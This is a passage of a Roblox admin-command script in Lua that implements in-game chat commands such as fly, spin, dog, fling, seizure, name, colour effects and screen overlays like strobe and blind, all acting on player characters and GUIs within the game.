                 print(&quot;SERVER ERROR: Launcher clone missing &apos;Code&apos; StringValue!&quot;)
                 if flyTool then flyTool:Remove() end -- Clean up tool
                 if cl then cl:Remove() end -- Clean up launcher script
                 return -- Stop
            end

            -- Parent the launcher LocalScript to the PlayerGui and enable it
            cl.Parent = playerGui
            pcall(function() cl.Disabled = false end) -- Wrap in pcall just in case
            print(&quot;Server: Created FlyScript launcher for &quot; .. v.Name)

        end -- End of the function passed to coroutine.create

        -- Execute the coroutine
        coroutine.resume(coroutine.create(flyCoroutineFunction))

    end -- End of player loop
end -- End of :fly command block

-- Modified :unfly command
if msg:lower():sub(1, 6) == &quot;unfly &quot; then
    local plrz = GetPlr(plr, msg:lower():sub(7))
    for i, v in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            local playerGui = v:findFirstChild(&quot;PlayerGui&quot;)
            local backpack = v:findFirstChild(&quot;Backpack&quot;)
            local character = v.Character

            -- Remove the launcher script from PlayerGui if it exists
            if playerGui then
                local flyScript = playerGui:findFirstChild(&quot;FlyScript&quot;)
                if flyScript then
                    print(&quot;Server: Removing FlyScript launcher for &quot; .. v.Name)
                    flyScript:Remove()
                end
            end

            -- Remove the FlyTool from Backpack if it exists
            if backpack then
                local flyTool = backpack:findFirstChild(&quot;FlyTool&quot;)
                if flyTool then
                    print(&quot;Server: Removing FlyTool from Backpack for &quot; .. v.Name)
                    flyTool:Remove()
                end
            end

            -- Remove the FlyTool from Character if it&apos;s equipped
            if character then
                 local flyToolChar = character:findFirstChild(&quot;FlyTool&quot;)
                 if flyToolChar then
                     print(&quot;Server: Removing FlyTool from Character for &quot; .. v.Name)
                     flyToolChar:Remove() -- This should trigger the Unequipped event in the tool&apos;s script
                 end
                 -- Also ensure physics objects are removed from character (backup cleanup)
                 local torso = character:findFirstChild(&quot;Torso&quot;)
                 if torso then
                     local bg = torso:findFirstChild(&quot;BodyGyro&quot;)
                     local bv = torso:findFirstChild(&quot;BodyVelocity&quot;)
                     if bg then bg:Remove() end
                     if bv then bv:Remove() end
                 end
                 -- Ensure PlatformStand is off if Humanoid exists
                 local hum = character:findFirstChild(&quot;Humanoid&quot;)
                 if hum then
                     hum.PlatformStand = false
                 end
            end
        end)) -- End of coroutine create
    end -- End of player loop
end -- End of :unfly command block


if msg:lower() == &quot;disco&quot; then
for i, v in pairs(lobjs) do v:Remove() end
local cl = script.scripts.LightEdit:Clone() cl.Parent = game.Workspace cl.Disabled = false
end

if msg:lower() == &quot;flash&quot; then
for i, v in pairs(lobjs) do v:Remove() end
local cl = script.scripts.LightEdit1:Clone() cl.Parent = game.Workspace cl.Disabled = false
end

if msg:lower():sub(1,5) == &quot;spin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for i,v in pairs(v.Character.Torso:children()) do if v.Name == &quot;SPINNER&quot; then v:Remove() end end
local torso = v.Character:findFirstChild(&quot;Torso&quot;)
local bg = Instance.new(&quot;BodyGyro&quot;, torso) bg.Name = &quot;SPINNER&quot; bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
until not bg or bg.Parent ~= torso
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unspin &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for a,q in pairs(v.Character.Torso:children()) do if q.Name == &quot;SPINNER&quot; then q:Remove() end end
end
end))
end
end

if msg:lower():sub(1,4) == &quot;dog &quot; then
    local plrz = GetPlr(plr, msg:lower():sub(5))
    for i, v in pairs(plrz) do
        coroutine.resume(coroutine.create(function()
            if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then

                -- 1) fetch giant-modifier (default 1)
                local modVal = 1
                local giantScript = plr.Character:findFirstChild(&quot;giantscript&quot;)
                if giantScript then
                    local mObj = giantScript:findFirstChild(&quot;modifier&quot;)
                    if mObj then modVal = mObj.Value end
                end

                -- 2) reparent any Shirt/Pants into the torso
                for _, e in ipairs(v.Character:children()) do
                    if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then
                        e.Parent = v.Character.Torso
                    end
                end

                local torso = v.Character.Torso
                torso.Transparency = 1

                -- 3) apply scaled pose offsets
                torso.Neck.C0           = CFrame.new(0, -0.5*modVal, -2*modVal)
                                          * CFrame.Angles(math.rad(90), math.rad(180), 0)
                torso[&quot;Right Shoulder&quot;].C0 = CFrame.new( 0.5*modVal, -1.5*modVal, -1.5*modVal)
                                          * CFrame.Angles(0, math.rad(90), 0)
                torso[&quot;Left Shoulder&quot;].C0  = CFrame.new(-0.5*modVal, -1.5*modVal, -1.5*modVal)
                                          * CFrame.Angles(0, math.rad(-90), 0)
                torso[&quot;Right Hip&quot;].C0      = CFrame.new( 1.5*modVal, -1*modVal,  1.5*modVal)
                                          * CFrame.Angles(0, math.rad(90), 0)
                torso[&quot;Left Hip&quot;].C0       = CFrame.new(-1.5*modVal, -1*modVal,  1.5*modVal)
                                          * CFrame.Angles(0, math.rad(-90), 0)

                -- 4) create &amp; scale fake seat
                local newSeat = Instance.new(&quot;Seat&quot;, v.Character)
                newSeat.Name       = &quot;FAKETORSO&quot;
                pcall(function() newSeat.formFactor = &quot;Symmetric&quot; end)
                newSeat.TopSurface    = 0
                newSeat.BottomSurface = 0
                newSeat.Size          = Vector3.new(3, 1, 4) * modVal
                newSeat.CFrame        = torso.CFrame

                -- 5) counteract gravity
                local bf = Instance.new(&quot;BodyForce&quot;, newSeat)
                bf.force = Vector3.new(0, newSeat:GetMass()*196.25, 0)

                -- 6) weld seat to torso (also scaled)
                local weld = Instance.new(&quot;Weld&quot;, torso)
                weld.Part0 = torso
                weld.Part1 = newSeat
                weld.C0   = CFrame.new(0, -0.5*modVal, 0)

                -- 7) recolor all parts brown
                for _, part in ipairs(v.Character:children()) do
                    if part:isA(&quot;BasePart&quot;) then
                        part.BrickColor = BrickColor.new(&quot;Brown&quot;)
                    elseif part:findFirstChild(&quot;NameTag&quot;) then
                        part.Head.BrickColor = BrickColor.new(&quot;Brown&quot;)
                    end
                end
            end
        end))
    end
end


--[[if msg:lower():sub(1,4) == &quot;dog &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

v.Character.Torso.Transparency = 1
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
local new = Instance.new(&quot;Seat&quot;, v.Character) new.Name = &quot;FAKETORSO&quot; pcall(function() new.formFactor = &quot;Symmetric&quot; end) new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
local bf = Instance.new(&quot;BodyForce&quot;, new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
local weld = Instance.new(&quot;Weld&quot;, v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;Brown&quot;) elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;Brown&quot;) end end
end
end))
end
end]]--

if msg:lower():sub(1,6) == &quot;undog &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then

for _, e in ipairs(v.Character.Torso:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character
end
end

v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;White&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Remove() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;White&quot;) end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;creeper &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;Bright green&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Remove() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;Bright green&quot;) end end
end
end))
end
end

if msg:lower():sub(1,10) == &quot;uncreeper &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
for _, e in ipairs(v.Character.Torso:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character
end
end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in pairs(v.Character:children()) do if part:isA(&quot;BasePart&quot;) then part.BrickColor = BrickColor.new(&quot;White&quot;) if part.Name == &quot;FAKETORSO&quot; then part:Remove() end elseif part:findFirstChild(&quot;NameTag&quot;) then part.Head.BrickColor = BrickColor.new(&quot;White&quot;) end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;bighead &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end

if msg:lower():sub(1,9) == &quot;minihead &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end


if msg:lower():sub(1,9) == &quot;icecream &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 

local function icecream(char)
local van = script.scripts.vanaction:clone()
van.Value.Value = char
van.Parent = char
van.Disabled = false
end


if game.Lighting:findFirstChild(&quot;IcecreamVan&quot;) then
icecream(v.Character)
else
script.scripts.vanspawn.Disabled = true
script.scripts.vanspawn.Disabled = false
wait(0.5)
icecream(v.Character)
end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;fling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
local xran local zran
repeat xran = math.random(-9999,9999) until math.abs(xran) &gt;= 5555
repeat zran = math.random(-9999,9999) until math.abs(zran) &gt;= 5555
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service(&quot;Debris&quot;):AddItem(frc,.1)
end
end))
end
end

if msg:lower():sub(1,8) == &quot;seizure &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
local cl = script.scripts.SeizureBase:Clone() cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,10) == &quot;unseizure &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for i,v in pairs(v.Character:children()) do if v.Name == &quot;SeizureBase&quot; then v:Remove() end end
wait(.1) v.Character.Humanoid.PlatformStand = false
end
end))
end
end

if msg:lower():sub(1,12) == &quot;removelimbs &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) and (obj.Name:find(&quot;Leg&quot;) or obj.Name:find(&quot;Arm&quot;)) then obj:Remove() end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;name &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then 
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild(&quot;NameTag&quot;) then v.Character.Head.Transparency = 0 mod:Remove() end end
local char = v.Character
local mod = Instance.new(&quot;Model&quot;, char) mod.Name = msg:sub(chk1+1)
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new(&quot;Humanoid&quot;, mod) hum.Name = &quot;NameTag&quot; hum.MaxHealth = 0 hum.Health = 0
local weld = Instance.new(&quot;Weld&quot;, cl) weld.Part0 = cl weld.Part1 = char.Head
char.Head.Transparency = 1
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unname &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) then 
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild(&quot;NameTag&quot;) then v.Character.Head.Transparency = 0 mod:Remove() end end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;char &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.CharacterAppearance = &quot;http://www.roblox.com/asset/CharacterFetch.ashx?userId=&quot; .. msg:sub(chk1+1) --welp there isn&apos;t an easy fix for this now
v:LoadCharacter()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unchar &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.CharacterAppearance = &quot;http://www.roblox.com/asset/CharacterFetch.ashx?userId=&quot; .. v.userId
v:LoadCharacter()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;infect &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
Infect(v.Character)
end
end))
end
end

if msg:lower():sub(1,11) == &quot;rainbowify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 


for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end


for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = script.scripts.rainbowify:Clone() cl.Name = &quot;ify&quot;
cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;flashify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = script.scripts.flashify:Clone() cl.Name = &quot;ify&quot;
cl.Parent = v.Character cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,8) == &quot;noobify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
Noobify(v.Character)
end
end))
end
end

if msg:lower():sub(1,9) == &quot;ghostify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
if prt.Name:find(&quot;Leg&quot;) then prt.Transparency = 1 end
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;goldify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;shiny &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(v.Character:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character.Torso 
end
end

for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new(&quot;Institutional white&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;normal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then
if v.Character:findFirstChild(&quot;Head&quot;) then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 

for _, e in ipairs(v.Character.Torso:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = v.Character
end
end

v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso[&quot;Right Shoulder&quot;].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Shoulder&quot;].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso[&quot;Right Hip&quot;].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso[&quot;Left Hip&quot;].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, sc in pairs(v.Character:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;White&quot;)
if prt.Name == &quot;FAKETORSO&quot; then prt:Remove() end
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;White&quot;)
end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;trippy &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUITRIPPY&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl = script.scripts.trippy:Clone() cl.Parent = scr cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;untrippy &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUITRIPPY&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;strobe &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUISTROBE&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
local cl = script.scripts.strobe:Clone() cl.Parent = scr cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,9) == &quot;unstrobe &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUISTROBE&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;blind &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) and not ChkAdmin(v.Name, false) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;EFFECTGUIBLIND&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
end
end))
end
end

if msg:lower():sub(1,8) == &quot;unblind &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name == &quot;EFFECTGUIBLIND&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;guifix &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == &quot;EFFECTGUI&quot; then g:Remove() end end
end
end))
end
end

if msg:lower():sub(1,9) == &quot;loopheal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
if v then
local cl = script.scripts.loopheal:Clone() cl:findFirstChild(&quot;Value&quot;).Value = v cl.Name = &quot;LoopHeal&quot;..v.Name cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,11) == &quot;unloopheal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i,v in pairs(plrz) do for q,sc in pairs(game.Workspace:GetChildren()) do if sc.Name == &quot;LoopHeal&quot;..v.Name then sc:Remove() end end end
end

if msg:lower():sub(1,10) == &quot;loopfling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
if v then
local cl = script.scripts.loopfling:Clone() cl.Name = &quot;LoopFling:&quot;..v.Name cl:findFirstChild(&quot;Value&quot;).Value = v cl.Parent = game.Workspace cl.Disabled = false
end
end
end

if msg:lower():sub(1,12) == &quot;unloopfling &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i,v in pairs(plrz) do for q,sc in pairs(game.Workspace:GetChildren()) do if sc.Name == &quot;LoopFling:&quot;..v.Name then sc:Remove() table.remove(objects,q) end end end
end
&#9;
end

-------------------------
-- True Owner Commands --
-------------------------

if plr.Name:lower() == nfs:lower() or plr.userId == (1) then

